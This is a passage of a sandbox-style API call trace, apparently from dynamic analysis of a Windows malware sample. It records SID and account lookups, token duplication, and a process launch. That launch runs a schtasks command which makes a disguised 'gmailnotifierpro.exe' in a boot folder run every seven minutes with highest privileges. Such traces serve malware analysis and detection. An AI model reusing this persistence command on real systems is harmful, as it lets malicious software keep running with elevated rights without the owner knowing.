(param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0109.521] SysStringLen (param_1="1000") returned 0x4 [0109.521] memcpy (in: _Dst=0x196ee7ba838, _Src=0x196ee7bbb58, _Size=0x56 | out: _Dst=0x196ee7ba838) returned 0x196ee7ba838 [0109.521] memcpy (in: _Dst=0x196ee7ba88c, _Src=0x196ee7aab38, _Size=0xa | out: _Dst=0x196ee7ba88c) returned 0x196ee7ba88c [0109.521] free (_Block=0x196ef0d19a0) [0109.521] free (_Block=0x196ef0d19c0) [0109.521] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0109.521] malloc (_Size=0x5e) returned 0x196ef0d0680 [0109.521] free (_Block=0x196ef0d20e0) [0109.521] malloc (_Size=0x18) returned 0x196ef0d19c0 [0109.521] free (_Block=0x196ef0d0680) [0109.522] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 0 [0109.526] GetLastError () returned 0x7a [0109.526] malloc (_Size=0x1a) returned 0x196ef0fa030 [0109.527] malloc (_Size=0xe) returned 0x196ef0d2000 [0109.527] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa030, cchName=0x67117c600, ReferencedDomainName=0x196ef0d2000, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f0) returned 1 [0109.528] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0109.528] malloc (_Size=0x18) returned 0x196ef0d1d40 [0109.528] free (_Block=0x196ef0fa030) [0109.528] free (_Block=0x196ef0d2000) [0109.528] free (_Block=0x196ef0f9ca0) [0109.528] free (_Block=0x196ef0d1d40) [0109.528] free (_Block=0x196ef0d1ae0) [0109.528] free (_Block=0x196ef0d19c0) [0109.528] free (_Block=0x196ef0d0a90) [0109.529] SetEvent (hEvent=0x248) returned 1 [0109.529] free (_Block=0x196ef0d5820) [0109.530] CreateEnvironmentBlock () returned 0x1 [0109.534] malloc (_Size=0x18) returned 0x196ef0d20e0 [0109.534] CreateProcessAsUserW (in: hToken=0x26c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"gmailnotifierprog\" /sc MINUTE /mo 7 /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x67117c860*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x67117c708 | out: lpCommandLine="schtasks.exe /create /tn \"gmailnotifierprog\" /sc MINUTE /mo 7 /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /rl HIGHEST /f", lpProcessInformation=0x67117c708*(hProcess=0x260, hThread=0x264, dwProcessId=0x1220, dwThreadId=0x1234)) returned 1 [0109.543] CloseHandle (hObject=0x260) returned 1 [0109.543] CloseHandle (hObject=0x264) returned 1 [0109.543] free (_Block=0x196ef0d20e0) [0109.543] DestroyEnvironmentBlock () returned 0x1 [0109.543] malloc (_Size=0x48) returned 0x196ef0d5870 [0109.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117c6e0 | out: lpSystemTimeAsFileTime=0x67117c6e0*(dwLowDateTime=0x2226e097, dwHighDateTime=0x1d9eb0c)) [0109.544] SetEvent (hEvent=0x248) returned 1 [0109.544] CloseHandle (hObject=0x270) returned 1 [0109.544] CloseHandle (hObject=0x26c) returned 1 [0109.549] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788330 [0109.549] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788330, pulNumLanguages=0x67117dfe0 | out: pulNumLanguages=0x67117dfe0) returned 1 [0109.549] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0109.549] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0110.646] RtlRestoreLastWin32Error () returned 0x670dbf000 [0110.646] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x67117de10) returned 1 [0110.646] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0110.646] RtlRestoreLastWin32Error () returned 0x670dbf000 [0110.646] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10 | out: pulNumLanguages=0x67117df18, pwszLanguagesBuffer=0x196ee788250, pcchLanguagesBuffer=0x67117de10) returned 1 [0110.646] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0110.646] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788250) returned 1 [0110.646] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0110.646] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x67117df18 | out: pulNumLanguages=0x67117df18) returned 1 [0110.646] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0110.648] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0110.649] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0110.649] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0110.650] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0110.650] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0110.652] GetCurrentThread () returned 0xfffffffffffffffe [0110.652] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x67117c7a0 | out: TokenHandle=0x67117c7a0*=0x26c) returned 1 [0110.652] DuplicateTokenEx (in: hExistingToken=0x26c, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x67117c7b8 | out: phNewToken=0x67117c7b8*=0x270) returned 1 [0110.652] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0110.652] GetLastError () returned 0x7a [0110.653] malloc (_Size=0x2c) returned 0x196ef0d0d90 [0110.653] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0d90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0d90, ReturnLength=0x67117c740) returned 1 [0110.653] IsValidSid (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0110.653] GetLengthSid (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0110.653] malloc (_Size=0x1c) returned 0x196ef0f9d60 [0110.653] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9d60, pSourceSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9d60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0110.653] GetSidIdentifierAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0da2 [0110.653] malloc (_Size=0x18) returned 0x196ef0d2000 [0110.653] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0110.653] malloc (_Size=0x18) returned 0x196ef0d1f60 [0110.653] malloc (_Size=0x18) returned 0x196ef0d1980 [0110.653] SysStringLen (param_1="S-1-") returned 0x4 [0110.653] SysStringLen (param_1="5") returned 0x1 [0110.653] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7aa958, _Size=0xa | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0110.653] memcpy (in: _Dst=0x196ee7aaa20, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aaa20) returned 0x196ee7aaa20 [0110.653] free (_Block=0x196ef0d2000) [0110.653] free (_Block=0x196ef0d1f60) [0110.653] GetSidSubAuthorityCount (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0da1 [0110.653] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0da8 [0110.656] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0110.656] malloc (_Size=0x18) returned 0x196ef0d1e20 [0110.656] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0110.656] SysStringLen (param_1="S-1-5") returned 0x5 [0110.656] SysStringLen (param_1="-") returned 0x1 [0110.656] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aaa18, _Size=0xc | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0110.656] memcpy (in: _Dst=0x196ee7aa9c2, _Src=0x196ee7aa958, _Size=0x4 | out: _Dst=0x196ee7aa9c2) returned 0x196ee7aa9c2 [0110.656] free (_Block=0x196ef0d1980) [0110.656] free (_Block=0x196ef0d1e20) [0110.656] malloc (_Size=0x18) returned 0x196ef0d1c40 [0110.656] malloc (_Size=0x18) returned 0x196ef0d19e0 [0110.656] SysStringLen (param_1="S-1-5-") returned 0x6 [0110.656] SysStringLen (param_1="21") returned 0x2 [0110.656] memcpy (in: _Dst=0x196ee7aa958, _Src=0x196ee7aa9b8, _Size=0xe | out: _Dst=0x196ee7aa958) returned 0x196ee7aa958 [0110.656] memcpy (in: _Dst=0x196ee7aa964, _Src=0x196ee7aaa18, _Size=0x6 | out: _Dst=0x196ee7aa964) returned 0x196ee7aa964 [0110.656] free (_Block=0x196ef0d1fe0) [0110.656] free (_Block=0x196ef0d1c40) [0110.656] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0dac [0110.657] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0110.657] malloc (_Size=0x18) returned 0x196ef0d2040 [0110.657] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0110.657] SysStringLen (param_1="S-1-5-21") returned 0x8 [0110.657] SysStringLen (param_1="-") returned 0x1 [0110.657] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7aa958, _Size=0x12 | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0110.657] memcpy (in: _Dst=0x196ee7aaa28, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aaa28) returned 0x196ee7aaa28 [0110.657] free (_Block=0x196ef0d19e0) [0110.657] free (_Block=0x196ef0d2040) [0110.657] malloc (_Size=0x18) returned 0x196ef0d1a60 [0110.657] malloc (_Size=0x18) returned 0x196ef0d19e0 [0110.657] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0110.657] SysStringLen (param_1="1560258661") returned 0xa [0110.657] memcpy (in: _Dst=0x196ee777488, _Src=0x196ee7aaa18, _Size=0x14 | out: _Dst=0x196ee777488) returned 0x196ee777488 [0110.657] memcpy (in: _Dst=0x196ee77749a, _Src=0x196ee7aa958, _Size=0x16 | out: _Dst=0x196ee77749a) returned 0x196ee77749a [0110.657] free (_Block=0x196ef0d1ae0) [0110.657] free (_Block=0x196ef0d1a60) [0110.657] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0db0 [0110.657] _ultow (in: _Dest=0xeddecfcf, _Radix=1897383216 | out: _Dest=0xeddecfcf) returned="3990802383" [0110.657] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0110.657] malloc (_Size=0x18) returned 0x196ef0d1c20 [0110.658] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0110.658] SysStringLen (param_1="-") returned 0x1 [0110.658] memcpy (in: _Dst=0x196ee777a28, _Src=0x196ee777488, _Size=0x28 | out: _Dst=0x196ee777a28) returned 0x196ee777a28 [0110.658] memcpy (in: _Dst=0x196ee777a4e, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee777a4e) returned 0x196ee777a4e [0110.658] free (_Block=0x196ef0d19e0) [0110.658] free (_Block=0x196ef0d1fa0) [0110.658] malloc (_Size=0x18) returned 0x196ef0d1be0 [0110.658] malloc (_Size=0x18) returned 0x196ef0d1a20 [0110.658] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0110.658] SysStringLen (param_1="3990802383") returned 0xa [0110.658] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee777a28, _Size=0x2a | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0110.658] memcpy (in: _Dst=0x196ee7aae10, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee7aae10) returned 0x196ee7aae10 [0110.658] free (_Block=0x196ef0d1c20) [0110.658] free (_Block=0x196ef0d1be0) [0110.658] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0db4 [0110.658] _ultow (in: _Dest=0x6bfcce57, _Radix=1897383216 | out: _Dest=0x6bfcce57) returned="1811730007" [0110.658] malloc (_Size=0x18) returned 0x196ef0d1a60 [0110.658] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0110.658] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0110.658] SysStringLen (param_1="-") returned 0x1 [0110.658] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x3e | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0110.658] memcpy (in: _Dst=0x196ee7b9c34, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7b9c34) returned 0x196ee7b9c34 [0110.658] free (_Block=0x196ef0d1a20) [0110.659] free (_Block=0x196ef0d1a60) [0110.659] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0110.659] malloc (_Size=0x18) returned 0x196ef0d1be0 [0110.659] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0110.659] SysStringLen (param_1="1811730007") returned 0xa [0110.659] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x40 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0110.659] memcpy (in: _Dst=0x196ee7aae26, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee7aae26) returned 0x196ee7aae26 [0110.659] free (_Block=0x196ef0d1fa0) [0110.659] free (_Block=0x196ef0d1ca0) [0110.659] GetSidSubAuthority (pSid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0db8 [0110.659] _ultow (in: _Dest=0x3e8, _Radix=1897383216 | out: _Dest=0x3e8) returned="1000" [0110.659] malloc (_Size=0x18) returned 0x196ef0d1e60 [0110.659] malloc (_Size=0x18) returned 0x196ef0d1e80 [0110.659] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0110.659] SysStringLen (param_1="-") returned 0x1 [0110.659] memcpy (in: _Dst=0x196ee7b9bf8, _Src=0x196ee7aade8, _Size=0x54 | out: _Dst=0x196ee7b9bf8) returned 0x196ee7b9bf8 [0110.659] memcpy (in: _Dst=0x196ee7b9c4a, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7b9c4a) returned 0x196ee7b9c4a [0110.659] free (_Block=0x196ef0d1be0) [0110.659] free (_Block=0x196ef0d1e60) [0110.659] malloc (_Size=0x18) returned 0x196ef0d1a60 [0110.659] malloc (_Size=0x18) returned 0x196ef0d1a20 [0110.659] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0110.660] SysStringLen (param_1="1000") returned 0x4 [0110.660] memcpy (in: _Dst=0x196ee7aade8, _Src=0x196ee7b9bf8, _Size=0x56 | out: _Dst=0x196ee7aade8) returned 0x196ee7aade8 [0110.660] memcpy (in: _Dst=0x196ee7aae3c, _Src=0x196ee7aaa18, _Size=0xa | out: _Dst=0x196ee7aae3c) returned 0x196ee7aae3c [0110.660] free (_Block=0x196ef0d1e80) [0110.660] free (_Block=0x196ef0d1a60) [0110.660] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0110.660] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0110.660] free (_Block=0x196ef0d1a20) [0110.660] malloc (_Size=0x18) returned 0x196ef0d1a20 [0110.661] free (_Block=0x196ef0d03e0) [0110.661] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name=0x0, cchName=0x67117c600, ReferencedDomainName=0x0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 0 [0110.662] GetLastError () returned 0x7a [0110.662] malloc (_Size=0x1a) returned 0x196ef0f9a30 [0110.662] malloc (_Size=0xe) returned 0x196ef0d20e0 [0110.662] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0da0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9a30, cchName=0x67117c600, ReferencedDomainName=0x196ef0d20e0, cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8 | out: Name="RDhJ0CNFevzX", cchName=0x67117c600, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x67117c668, peUse=0x67117c6f8) returned 1 [0110.663] malloc (_Size=0x18) returned 0x196ef0d1f00 [0110.663] malloc (_Size=0x18) returned 0x196ef0d1f60 [0110.663] free (_Block=0x196ef0f9a30) [0110.663] free (_Block=0x196ef0d20e0) [0110.663] free (_Block=0x196ef0f9d60) [0110.663] free (_Block=0x196ef0d1f60) [0110.663] free (_Block=0x196ef0d1f00) [0110.664] free (_Block=0x196ef0d1a20) [0110.664] free (_Block=0x196ef0d0d90) [0110.664] GetVersionExW (in: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee7b29f8, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x67117c8d0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0110.664] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x67117c740 | out: TokenInformation=0x0, ReturnLength=0x67117c740) returned 0 [0110.664] GetLastError () returned 0x7a [0110.664] malloc (_Size=0x2c) returned 0x196ef0d0a90 [0110.664] GetTokenInformation (in: TokenHandle=0x26c, TokenInformationClass=0x1, TokenInformation=0x196ef0d0a90, TokenInformationLength=0x2c, ReturnLength=0x67117c740 | out: TokenInformation=0x196ef0d0a90, ReturnLength=0x67117c740) returned 1 [0110.664] IsValidSid (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0110.664] GetLengthSid (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0110.665] malloc (_Size=0x1c) returned 0x196ef0f9f10 [0110.665] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9f10, pSourceSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9f10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0110.665] GetSidIdentifierAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0aa2 [0110.665] malloc (_Size=0x18) returned 0x196ef0d1fc0 [0110.665] _ultow (in: _Dest=0x5, _Radix=1897383216 | out: _Dest=0x5) returned="5" [0110.665] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0110.665] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0110.665] SysStringLen (param_1="S-1-") returned 0x4 [0110.665] SysStringLen (param_1="5") returned 0x1 [0110.665] memcpy (in: _Dst=0x196ee7aa958, _Src=0x196ee7aaa18, _Size=0xa | out: _Dst=0x196ee7aa958) returned 0x196ee7aa958 [0110.665] memcpy (in: _Dst=0x196ee7aa960, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aa960) returned 0x196ee7aa960 [0110.665] free (_Block=0x196ef0d1fc0) [0110.665] free (_Block=0x196ef0d1cc0) [0110.665] GetSidSubAuthorityCount (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0aa1 [0110.665] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0aa8 [0110.665] _ultow (in: _Dest=0x15, _Radix=1897383216 | out: _Dest=0x15) returned="21" [0110.665] malloc (_Size=0x18) returned 0x196ef0d1a80 [0110.665] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0110.665] SysStringLen (param_1="S-1-5") returned 0x5 [0110.665] SysStringLen (param_1="-") returned 0x1 [0110.665] memcpy (in: _Dst=0x196ee7aa9b8, _Src=0x196ee7aa958, _Size=0xc | out: _Dst=0x196ee7aa9b8) returned 0x196ee7aa9b8 [0110.665] memcpy (in: _Dst=0x196ee7aa9c2, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee7aa9c2) returned 0x196ee7aa9c2 [0110.666] free (_Block=0x196ef0d1ce0) [0110.666] free (_Block=0x196ef0d1a80) [0110.666] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0110.666] malloc (_Size=0x18) returned 0x196ef0d2080 [0110.666] SysStringLen (param_1="S-1-5-") returned 0x6 [0110.666] SysStringLen (param_1="21") returned 0x2 [0110.666] memcpy (in: _Dst=0x196ee7aaa18, _Src=0x196ee7aa9b8, _Size=0xe | out: _Dst=0x196ee7aaa18) returned 0x196ee7aaa18 [0110.666] memcpy (in: _Dst=0x196ee7aaa24, _Src=0x196ee7aa958, _Size=0x6 | out: _Dst=0x196ee7aaa24) returned 0x196ee7aaa24 [0110.666] free (_Block=0x196ef0d1bc0) [0110.666] free (_Block=0x196ef0d1fa0) [0110.666] GetSidSubAuthority (pSid=0x196ef0d0aa0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0aac [0110.666] _ultow (in: _Dest=0x5cffa865, _Radix=1897383216 | out: _Dest=0x5cffa865) returned="1560258661" [0110.666] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0110.666] malloc (_Size=0x18) returned 0x196ef0d1b20 [0110.666] SysStringLen (param_1="S-1-5-21") returned 0x8 [0110.666] SysStringLen (param_1="-") returned 0x1 [0110.666] memcpy (in: _Dst=0x196ee7aa958, _Src=0x196ee7aaa18, _Size=0x12 | out: _Dst=0x196ee7aa958) returned 0x196ee7aa958 [0110.666] memcpy (in: _Dst=0x196ee7aa968, _Src=0x196ee7aa9b8, _Size=0x4 | out: _Dst=0x196ee7aa968) returned 0x196ee7aa968 [0110.666] free (_Block=0x196ef0d2080) [0110.666] free (_Block=0x196ef0d1ec0) [0110.666] malloc (_Size=0x18) returned 